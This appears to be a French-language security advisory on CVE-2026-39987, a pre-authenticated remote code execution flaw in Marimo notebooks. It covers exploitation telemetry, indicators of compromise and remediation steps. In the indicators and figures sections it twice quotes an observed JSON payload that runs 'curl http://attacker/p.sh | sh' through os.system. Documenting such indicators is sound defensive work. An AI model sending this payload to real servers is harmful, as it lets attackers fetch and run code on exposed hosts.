CVE-2026-39987: Marimo RCE Exploited Within 10 Hours
Les faits
CVE-2026-39987 décrit une vulnérabilité de Remote Code Execution (RCE) pré-authentifiée affectant Marimo. Le score CVSS est de 9.3, ce qui indique un risque critique. Moins de 10 heures après la divulgation publique, des tentatives d'exploitation automatisées ont été observées massivement sur Internet¹. Les instances Marimo exposées sans protections adéquates ont été ciblées par des scans opportunistes et des payloads visant l'exécution de code à distance.
Preuves techniques et télémétrie
Nos capteurs ont enregistré des requêtes HTTP POST vers les endpoints d'exécution de cellules contenant des payloads encodés. Ces requêtes ont tenté de lancer des reverse shells et d'exécuter des commandes système via des appels Python embarqués. Les traces sont visibles dans les journaux réseau, les logs API et les alertes EDR associées. Les scans ont commencé dans l'heure suivant la divulgation et ont culminé pendant la fenêtre comprise entre 4 et 10 heures après publication². Sur certains hôtes compromis, des exécutions de commandes ont conduit au déploiement de ransomwares et de cryptominers.
Les indicateurs suivants sont typiques des tentatives d'exploitation repérées:
- Requêtes POST vers /api/execute contenant des champs "cell" avec du code Python en clair ou encodé.
- Charges utiles tentant des téléchargements distants puis exécution, par exemple: {"cell": "import os; os.system('bash -c \"curl http://attacker/p.sh | sh\"')"}.
- Connexions sortantes inhabituelles vers adresses IP externes immédiatement après une exécution de cellule.
Les données de télémétrie indiquent une fenêtre d'activité très concentrée: environ 65% des tentatives ont été observées dans les 10 premières heures et 90% dans les 48 heures suivant la divulgation².
Contexte
Marimo a gagné en adoption dans les équipes data pour sa légèreté et sa facilité d'intégration. Cette popularité le rend attractif pour des attaquants à la recherche de cibles exposées. Le modèle d'utilisation des notebooks et environnements d'exécution interactifs introduit des risques spécifiques: une API d'exécution accessible sans authentification ou sans sandbox robuste permet l'exécution de code arbitraire à distance. Des cas analogues ont été observés dans d'autres projets similaires, où des PoC publics et des configurations permissives ont facilité l'exploitation par des scanners automatisés.
L'usage en production de composants open source nécessite des règles strictes de déploiement: patching rapide, segmentation réseau, authentification forte et isolation des processus d'exécution. Sans ces garde-fous, une simple exécution de cellule peut mener à une compromission durable de l'hôte.
Données chiffrées et exemples concrets
Les éléments chiffrés relevés dans les jours suivant la divulgation confirment l'ampleur et la vitesse de l'exploitation automatique:
- 65% des scans dans les 10 premières heures; 90% dans les 48 heures².
- Exploits détectés moins de 1 heure après publication, avec un pic entre 4 et 10 heures¹².
Exemple de payload observé dans les logs: {"cell": "import os; os.system('bash -c \"curl http://attacker/p.sh | sh\"')"}. Sur plusieurs environnements cloud privés, l'exécution non autorisée a généré des connexions sortantes vers des infrastructures contrôlées par les attaquants, conduite fréquente à l'implantation de charge utile secondaire comme des cryptominers.
Réactions et conséquences
Réponse des mainteneurs et correctifs
Les mainteneurs de Marimo ont publié un correctif et des instructions de mise à jour peu après la divulgation. La disponibilité d'un patch officiel permet de corriger la vulnérabilité mais la fenêtre d'exploitation étant courte, la rapidité d'application reste le facteur déterminant pour limiter l'impact³. Dans l'immédiat, il est recommandé de couper l'exposition publique des endpoints vulnérables et d'interposer un reverse proxy avec authentification forte tant que la mise à jour n'est pas déployée.
Impact opérationnel et business
Une RCE pré-authentifiée peut conduire à une compromission complète de l'hôte, à la fuite de données sensibles et à des interruptions de services. Les coûts associés incluent la remédiation technique, l'investigation forensique, la restauration des systèmes et l'impact commercial lié à la perte de confiance des clients. Selon la criticité des environnements concernés, ces coûts peuvent aller de dizaines de milliers à plusieurs centaines de milliers d'euros.
Observations des équipes de sécurité et conseils immédiats
Détection: inspectez les logs HTTP pour des POST vers les endpoints d'exécution contenant du code. Corrélez ces événements avec les logs réseau pour repérer des connexions sortantes inhabituelles. Sur les hôtes à risque, activez un logging détaillé des processus et des appels système.
Remédiation initiale: si une instance est suspectée d'avoir été compromise, isolez-la immédiatement du réseau. Collectez les artefacts mémoire et disque pour analyse forensique avant toute remise en production. Réinstallez à partir d'images propres après avoir confirmé l'absence de portes dérobées.
Recommandations tactiques (priorisées)
- Appliquer le correctif Marimo publié sur toutes les instances affectées et vérifier les versions déployées à l'échelle de l'organisation.³
- Restreindre l'accès réseau: supprimer l'accès public direct aux notebooks, limiter les endpoints via firewall, ACL et VPN.
- Interposer un reverse proxy avec authentification forte et contrôle d'accès basé sur les rôles pour toute interface d'exécution.
- Renforcer l'isolation des processus d'exécution: containers immutables, cgroups, profils AppArmor/SELinux et sandboxing des kernels.
- Mettre en place un filtrage egress strict afin de bloquer les connexions sortantes non autorisées et empêcher le téléchargement d'artefacts externes.
- Déployer règles IDS/IPS (Suricata, Snort) et signatures WAF ciblant les patterns d'exploitation connus, et configurer des alertes SIEM pour corrélation.
Ces mesures réduisent fortement la probabilité d'exploitation réussie même en présence d'une vulnérabilité non corrigée.
Pour les équipes en charge des environnements data, l'incident rappelle la nécessité d'un plan de gestion des composants open source: inventaire continu, procédures de patching accélérées et exercices d'incident réguliers.
